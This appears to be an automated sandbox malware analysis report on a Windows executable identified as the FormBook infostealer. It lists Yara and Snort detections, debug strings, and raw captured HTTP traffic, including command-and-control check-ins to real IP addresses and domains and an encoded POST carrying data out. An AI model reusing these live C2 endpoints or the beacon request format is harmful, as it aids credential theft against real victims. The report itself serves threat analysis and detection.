Windows Analysis Report
WrrCV4QR2J.exe

Machine Learning detection for sample

Source: Yara match	File source: 2.2.WrrCV4QR2J.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.WrrCV4QR2J.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4120529651.00000000028D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4122987112.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4121516718.00000000046C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4121554495.0000000004700000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1791548319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1793042064.0000000004140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1791836108.0000000000FC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4121341224.0000000004FE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: WrrCV4QR2J.exe

Joe Sandbox ML: detected

Source: WrrCV4QR2J.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: WrrCV4QR2J.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: firefox.pdbP source: isoburn.exe, 00000004.00000003.2011823112.0000000007C8E000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: isoburn.pdb source: WrrCV4QR2J.exe, 00000002.00000002.1791940779.0000000001017000.00000004.00000020.00020000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000003.00000002.4120809437.0000000000B88000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: isoburn.pdbGCTL source: WrrCV4QR2J.exe, 00000002.00000002.1791940779.0000000001017000.00000004.00000020.00020000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000003.00000002.4120809437.0000000000B88000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: UHPrrMeffyCaz.exe, 00000003.00000002.4120453242.00000000000AE000.00000002.00000001.01000000.0000000C.sdmp, UHPrrMeffyCaz.exe, 00000006.00000000.1845745734.00000000000AE000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: WrrCV4QR2J.exe, 00000002.00000002.1792171632.0000000001540000.00000040.00001000.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1791775384.00000000045F1000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1793504608.00000000047AB000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4121792966.0000000004960000.00000040.00001000.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4121792966.0000000004AFE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: WrrCV4QR2J.exe, WrrCV4QR2J.exe, 00000002.00000002.1792171632.0000000001540000.00000040.00001000.00020000.00000000.sdmp, isoburn.exe, isoburn.exe, 00000004.00000003.1791775384.00000000045F1000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1793504608.00000000047AB000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4121792966.0000000004960000.00000040.00001000.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4121792966.0000000004AFE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: firefox.pdb source: isoburn.exe, 00000004.00000003.2011823112.0000000007C8E000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\isoburn.exe

Code function: 4_2_028EC280 FindFirstFileW,FindNextFileW,FindClose,

4_2_028EC280

Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4x nop then pop edi	4_2_028E1A10
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4x nop then xor eax, eax	4_2_028D99C0
Source: C:\Windows\SysWOW64\isoburn.exe	Code function: 4x nop then pop edi	4_2_028DE2BF

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49739 -> 162.222.226.77:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49743 -> 74.208.236.181:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49748 -> 104.21.18.253:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49752 -> 37.140.192.89:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49756 -> 131.153.147.90:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49760 -> 94.23.162.163:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49764 -> 66.29.155.54:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49768 -> 34.117.26.57:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49772 -> 81.169.145.70:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49776 -> 85.159.66.93:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49780 -> 162.241.252.161:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49784 -> 185.74.252.11:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49788 -> 107.178.250.177:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49792 -> 37.97.254.27:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.4:49796 -> 52.220.48.161:80

Source: Joe Sandbox View

IP Address: 37.97.254.27 37.97.254.27

Source: Joe Sandbox View	ASN Name: SS-ASHUS SS-ASHUS
Source: Joe Sandbox View	ASN Name: TRANSIP-ASAmsterdamtheNetherlandsNL TRANSIP-ASAmsterdamtheNetherlandsNL
Source: Joe Sandbox View	ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 08 Dec 2023 13:50:48 GMTContent-Length: 353Connection: closeContent-Encoding: gzipX-Frame-Options: SAMEORIGINCache-Control: private, no-cache, no-store, max-age=0Expires: Mon, 01 Jan 1990 0:00:00 GMTCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eMEaukHhjCSQTUs92yM8CbjGawTCEIkCp0dPRmAgW2QYf9LHBUsUfl7Zui%2Bb7mZS6FkShsiwZ0FMTgfbbC8m808x%2BPFvDJ%2BxAHOB27060BLi0PxGOxzKMOB8ZYHYBKdKHw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83257ac11fa79aeb-MIAalt-svc: h3=":443"; ma=86400Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 6d 52 b1 4e c4 30 0c fd 15 6f b7 a0 e6 90 98 50 af 23 12 0b 0b 13 a3 db b8 6d 44 1a 17 c7 bd aa 7f 8f d3 d3 1d 27 40 6a 2a bd 17 fb 3d c7 76 3d ea 14 9b 7a 24 f4 4d ad 41 23 35 6f ac f0 c2 4b f2 b5 bb 10 b5 bb 5c b7 ec b7 a6 ee 28 29 89 a1 ff 8e 7d 61 b8 57 28 d0 fe 3f 21 8a 6d 24 e8 28 c6 19 bd 0f 69 38 3d 1e 77 98 67 ec 0a 3c c2 1a bc 8e a7 a7 e3 11 5a 16 4f 72 7a b4 b4 92 ea 9b 0f 5e 04 3c 4f 18 12 74 bc 44 0f c9 bc 5a 82 be d8 81 b1 25 a0 67 59 51 8a 38 b0 40 56 c2 a8 e3 3d bb 17 91 2b b8 56 f5 da c3 c6 0b 08 95 c7 c5 0d 32 69 21 04 12 4e 64 48 ce 24 f9 01 e6 48 98 09 56 0c 0a 08 3d ad 30 85 b4 28 65 40 33 57 d9 00 07 ab ac 82 77 9e 48 c3 64 17 42 59 51 b4 98 ee 82 ad f0 6a 7a 30 52 9c 73 f5 c7 ff 6b 09 62 8f 59 44 47 0b c2 9c 83 a5 a7 8e 6e de e7 90 cd bc 28 ed 3d 30 40 80 0a 35 c2 28 d4 9f 0e a3 ea fc ec dc ba ae 95 df 12 7a d6 aa e3 e9 d0 fc 22 6a 87 4d 65 f3 b5 a9 ba d2 5a b7 77 e4 67 4a 61 1a 20 4b 77 d3 9b 51 3e bb c8 8b bf 17 71 91 07 ae 86 d0 1f 4c e0 ba 16 ee b2 25 6e df ab 6f b5 21 96 59 5e 02 00 00 Data Ascii: mRN0oP#mD'@j*=v=z$MA#5oK\()}aW(?!m$(i8=wg<ZOrz^<OtDZ%gYQ8@V=+V2i!NdH$HV=0(e@3WwHdBYQjz0RskbYDGn(=0@5(z"jMeZwgJa KwQ>qL%no!Y^
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 08 Dec 2023 13:50:51 GMTContent-Length: 353Connection: closeContent-Encoding: gzipX-Frame-Options: SAMEORIGINCache-Control: private, no-cache, no-store, max-age=0Expires: Mon, 01 Jan 1990 0:00:00 GMTCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mStufdvmE9kAgPDd2Z0xr44JqzWQf0WqGwjgkT%2FxaItiwU9PhR4%2Bwxo3VRLk2WtuE1Evb%2BcXdYiDphX3lFuOBBcE8gHRWEeOfZNT5X3McUp4tJ472R8toMypEB%2BK%2B11YXg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83257ad1ae1667cf-MIAalt-svc: h3=":443"; ma=86400Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 6d 52 b1 4e c4 30 0c fd 15 6f b7 a0 e6 90 98 50 af 23 12 0b 0b 13 a3 db b8 6d 44 1a 17 c7 bd aa 7f 8f d3 d3 1d 27 40 6a 2a bd 17 fb 3d c7 76 3d ea 14 9b 7a 24 f4 4d ad 41 23 35 6f ac f0 c2 4b f2 b5 bb 10 b5 bb 5c b7 ec b7 a6 ee 28 29 89 a1 ff 8e 7d 61 b8 57 28 d0 fe 3f 21 8a 6d 24 e8 28 c6 19 bd 0f 69 38 3d 1e 77 98 67 ec 0a 3c c2 1a bc 8e a7 a7 e3 11 5a 16 4f 72 7a b4 b4 92 ea 9b 0f 5e 04 3c 4f 18 12 74 bc 44 0f c9 bc 5a 82 be d8 81 b1 25 a0 67 59 51 8a 38 b0 40 56 c2 a8 e3 3d bb 17 91 2b b8 56 f5 da c3 c6 0b 08 95 c7 c5 0d 32 69 21 04 12 4e 64 48 ce 24 f9 01 e6 48 98 09 56 0c 0a 08 3d ad 30 85 b4 28 65 40 33 57 d9 00 07 ab ac 82 77 9e 48 c3 64 17 42 59 51 b4 98 ee 82 ad f0 6a 7a 30 52 9c 73 f5 c7 ff 6b 09 62 8f 59 44 47 0b c2 9c 83 a5 a7 8e 6e de e7 90 cd bc 28 ed 3d 30 40 80 0a 35 c2 28 d4 9f 0e a3 ea fc ec dc ba ae 95 df 12 7a d6 aa e3 e9 d0 fc 22 6a 87 4d 65 f3 b5 a9 ba d2 5a b7 77 e4 67 4a 61 1a 20 4b 77 d3 9b 51 3e bb c8 8b bf 17 71 91 07 ae 86 d0 1f 4c e0 ba 16 ee b2 25 6e df ab 6f b5 21 96 59 5e 02 00 00 Data Ascii: mRN0oP#mD'@j*=v=z$MA#5oK\()}aW(?!m$(i8=wg<ZOrz^<OtDZ%gYQ8@V=+V2i!NdH$HV=0(e@3WwHdBYQjz0RskbYDGn(=0@5(z"jMeZwgJa KwQ>qL%no!Y^
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 08 Dec 2023 13:50:53 GMTContent-Length: 353Connection: closeContent-Encoding: gzipX-Frame-Options: SAMEORIGINCache-Control: private, no-cache, no-store, max-age=0Expires: Mon, 01 Jan 1990 0:00:00 GMTCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5gkaYz%2F18GeIyn8dhQOH4sA2NQuuc%2F2FVZDrbX2Vrhp0oa5zSiDrLHxV2loRl78yGjEV09DGsWs29kLm7plQZbpOZ8GKp%2BjJtuKkcP4S6kAINFucOfLa0mp27W3%2BpNY7oA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83257ae23957495e-MIAalt-svc: h3=":443"; ma=86400Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 6d 52 b1 4e c4 30 0c fd 15 6f b7 a0 e6 90 98 50 af 23 12 0b 0b 13 a3 db b8 6d 44 1a 17 c7 bd aa 7f 8f d3 d3 1d 27 40 6a 2a bd 17 fb 3d c7 76 3d ea 14 9b 7a 24 f4 4d ad 41 23 35 6f ac f0 c2 4b f2 b5 bb 10 b5 bb 5c b7 ec b7 a6 ee 28 29 89 a1 ff 8e 7d 61 b8 57 28 d0 fe 3f 21 8a 6d 24 e8 28 c6 19 bd 0f 69 38 3d 1e 77 98 67 ec 0a 3c c2 1a bc 8e a7 a7 e3 11 5a 16 4f 72 7a b4 b4 92 ea 9b 0f 5e 04 3c 4f 18 12 74 bc 44 0f c9 bc 5a 82 be d8 81 b1 25 a0 67 59 51 8a 38 b0 40 56 c2 a8 e3 3d bb 17 91 2b b8 56 f5 da c3 c6 0b 08 95 c7 c5 0d 32 69 21 04 12 4e 64 48 ce 24 f9 01 e6 48 98 09 56 0c 0a 08 3d ad 30 85 b4 28 65 40 33 57 d9 00 07 ab ac 82 77 9e 48 c3 64 17 42 59 51 b4 98 ee 82 ad f0 6a 7a 30 52 9c 73 f5 c7 ff 6b 09 62 8f 59 44 47 0b c2 9c 83 a5 a7 8e 6e de e7 90 cd bc 28 ed 3d 30 40 80 0a 35 c2 28 d4 9f 0e a3 ea fc ec dc ba ae 95 df 12 7a d6 aa e3 e9 d0 fc 22 6a 87 4d 65 f3 b5 a9 ba d2 5a b7 77 e4 67 4a 61 1a 20 4b 77 d3 9b 51 3e bb c8 8b bf 17 71 91 07 ae 86 d0 1f 4c e0 ba 16 ee b2 25 6e df ab 6f b5 21 96 59 5e 02 00 00 Data Ascii: mRN0oP#mD'@j*=v=z$MA#5oK\()}aW(?!m$(i8=wg<ZOrz^<OtDZ%gYQ8@V=+V2i!NdH$HV=0(e@3WwHdBYQjz0RskbYDGn(=0@5(z"jMeZwgJa KwQ>qL%no!Y^

Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=0lWeLq0ljZnDSWqNACJ6NPdmpHmas/FJSpt/SUCn4seLkPj1kpVBncTOO8qbY1skp8kxUg4twvHodh//BlyVl134IW6OhHwJLQ==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.alldaysslimmingstea.comConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=9k2v98v8fW7x5mt2TD9N5hM0Gp49wMZ6NgJCH+u8B3tf6gDcFaFwcfLjsp7tbCeN6M+Gl5HR8oN4IorBb0pnZhULhTE/SFE2Bw==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.user4deepriver.comConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=IVKkGpXtV1toVTOD34k8KODusBBzLXjGifHJVqVOgN7K+V/6a9WE/CA4RHgfE4yJ8GdRU2XQNCMfR2HSu9NJz1b7R1h7bgr87Q==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.poria.linkConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=MydpLo7WWyKQN3KVLs+v6WaBMDmZ37UnbscI2lMT8W/M5j1pmQABg8QwQndiOgkeUarM8fNOhSJ3XzKDSkOkoUWHW96MRNJ3hQ==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.makeinai.onlineConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=SEtDmKR01RO/v1ckzNpTcUhCl/PMZGqFQ+LqZaILuKhM8xDFx1nbKCOFshx5Sqoz6Az3phyVzpkjs7F2QS7YIFIq1ILz0nKZVg==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.instantconvey.comConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=bB5JTYLqXbmN0Rh52tJaPPP1nCuGRYxCl3xm8ZfdPOYVrj3MpZEcwx/57KsfYAKqEjFN/H+DNeQWefm4mYc20p8FNjdU2pWhmA==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.domainappraisalbot.comConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=DTrGbTEHMG6Y4mK16jmiKUG3Xw8oKDF5CR5S23I4xf5AWU1NMecScwq/Pr/mUgt4GFrPBjE4MJyXMuu59XRrX+Dyau3GNz4OAA==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.nesmalt.infoConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=UYUxSke5jkUMcYDNvZduqvCoEnfAlB/5uaIG43dC5thZqMprvLUeD5Feo3aTVHSupyfrGHzleQTbxGW3pueYDpzLDOPRePOaEw==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.611erhm.topConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=pHT1kOem2IT0Y9TJ94VCHNnbNLZhsvH3XSVhoxxlik7UiuURsLT/Jzy3sp/tZoydu20sa6TfNH7nZl1KjnhQP0JKKbiUNKMEcA==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.fam-scharf.netConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=AHFK2pjoxw5zzLKkvof1eZxXaE20EUKFIXzrT8sRZEqLGYv6y8nhVjDsidhHFHxwb+HDFiGiPRNZnrHWQBMnDP8n7IChKCrxhg==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.magmadokum.comConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=nB1qtJANgieev8TKH3dNfv3ofOkziUaCXRyPWsB/WMzSWoyZdSlu5bXncPzzIIBEZ/2nP35zxbYs3CtalsMTKbCYScmVHGO9lg==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.thecoloringbitch.comConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=3lo42cEGi68x7KhWvzM1eCzYORtkkO0ycY0hNiK/Qn4Z+z7fEU9kkqncAr7zuQTFBqkfWFiGtk2IJlit7AKpO/fBLfK4Y05FeQ==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.altralogos.comConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=W415zxONlMY0LROHEGAnVDwgVvy34PrUrzPBSWER7JgIGEVSpL5hn1DTAqCrj0fiYOesE/vl81lAGPaeX7al4cCYp0GZGyu2aw==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.77moea.topConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=5igDJT3zPYxoznSfOhoK1Ng2m3hD5JqRz+D9mmXj9CLVcvHmJGefSTTLw3ACEWBDJ4ZMU5QrLRnI3LOtkf+25ITAAVo7msZgdw==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.wrautomotive.onlineConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /ahec/?XveXHZvx=kM9uZ8DSycwmMd9mOUcNXsu3ZVxRbXOcoIpBdgpgHsmMTTfOm57EajrucSnL0rM/85NSIBYnKSu3X+covYz9Y5Yt4Y8akrMm9Q==&l4xX=rDStpH0He HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.npstore.asiaConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

Source: unknown

DNS traffic detected: queries for: www.alldaysslimmingstea.com

Source: unknown

HTTP traffic detected: POST /ahec/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brHost: www.user4deepriver.comOrigin: http://www.user4deepriver.comReferer: http://www.user4deepriver.com/ahec/Cache-Control: no-cacheContent-Length: 189Content-Type: application/x-www-form-urlencodedConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4Data Raw: 58 76 65 58 48 5a 76 78 3d 77 6d 65 50 2b 49 44 38 61 47 58 35 78 6e 56 35 62 44 41 66 37 78 49 7a 4f 75 45 69 33 76 68 55 44 54 68 4f 64 73 2b 45 43 52 39 30 69 48 6e 4d 4a 37 56 53 61 50 61 74 71 4b 54 34 55 54 6e 36 35 71 2f 6d 67 71 6e 69 69 63 78 37 50 73 76 74 44 45 5a 65 54 44 51 7a 74 52 35 57 54 6d 6f 4b 61 6d 67 6e 52 66 53 7a 54 34 64 53 33 77 33 64 39 4f 42 67 43 51 35 57 6b 77 75 73 51 79 43 74 31 64 70 6e 63 65 52 4a 73 55 36 43 6e 68 59 78 61 57 44 34 75 45 70 63 72 6f 39 47 64 66 49 79 74 6e 69 39 75 43 55 44 70 48 30 6e 48 43 78 44 43 77 3d 3d Data Ascii: XveXHZvx=wmeP+ID8aGX5xnV5bDAf7xIzOuEi3vhUDThOds+ECR90iHnMJ7VSaPatqKT4UTn65q/mgqniicx7PsvtDEZeTDQztR5WTmoKamgnRfSzT4dS3w3d9OBgCQ5WkwusQyCt1dpnceRJsU6CnhYxaWD4uEpcro9GdfIytni9uCUDpH0nHCxDCw==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:50:19 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 21:16:32 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/htmlData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 